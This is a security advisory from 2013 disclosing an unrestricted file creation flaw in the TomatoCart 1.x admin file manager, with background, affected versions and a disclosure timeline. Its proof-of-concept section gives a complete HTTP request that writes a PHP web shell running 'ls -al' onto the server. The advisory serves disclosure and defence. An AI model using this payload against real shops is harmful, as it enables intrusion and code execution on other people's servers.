TomatoCart 1.x | Unrestricted File Creation

2013-01-10T00:00:00
ID SECURITYVULNS:DOC:28934
Type securityvulns
Reporter Securityvulns
Modified 2013-01-10T00:00:00

Description

  1. OVERVIEW

TomatoCart 1.x versions are vulnerable to Unrestricted File Creation.

  1. BACKGROUND

TomatoCart is an innovative Open Source shopping cart solution developed by Wuxi Elootec Technology Co., Ltd. It is forked from osCommerce 3 as a separate project and is released under the GNU General Public License V2. Equipped with the web2.0 Technology Ajax and Rich Internet applications (RIAs), TomatoCart Team is devoted to building a landmark eCommerce solution.

  1. VULNERABILITY DESCRIPTION

TomatoCart 1.x versions contain a flaw related to the /admin/json.php script's failure to properly restrict created files. This may allow an attacker to create arbitrary shell script to launch further attacks on the application server.

  1. VERSIONS AFFECTED

Tested on 1.1.8, 1.1.5

  1. PROOF-OF-CONCEPT/EXPLOIT

///////////////////////////////////////////////////////////////////// POST /admin/json.php HTTP/1.1 Host: localhost Cookie: admin_language=en_US; toCAdminID=edfd1d6b88d0c853c2b83cc63aca5e14 Content-Type: application/x-www-form-urlencoded Content-Length: 195

module=file_manager&action=save_file&file_name=0wned.php&directory=/&token=edfd1d6b88d0c853c2b83cc63aca5e14&ext-comp-1277=0wned.php&content=<?+echo '<h1>0wned!</h1><pre>';+echo `ls+-al`; ?> ///////////////////////////////////////////////////////////////

  1. SOLUTION

The vendor did not show commitment in hardening the application. It is recommended to use alternative shopping cart application with good track record of security fixes.

  1. VENDOR

Wuxi Elootec Technology Co., Ltd.

  1. CREDIT

Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.

  1. DISCLOSURE TIME-LINE

2012-04-22: Contacted the vendor through email 2012-04-29: Vendor replied and the vulnerability detail was sent 2013-01-04: Vulnerability not fixed 2013-01-04: Vulnerability disclosed

  1. REFERENCES

Original Advisory URL: http://yehg.net/lab/pr0js/advisories/%5Btomatocart1.x%5D_arbitrary_file_creation TomatoCart Home Page: http://www.tomatocart.com/

yehg [2013-01-04]


Best regards, YGN Ethical Hacker Group Yangon, Myanmar http://yehg.net Our Lab | http://yehg.net/lab Our Directory | http://yehg.net/hwd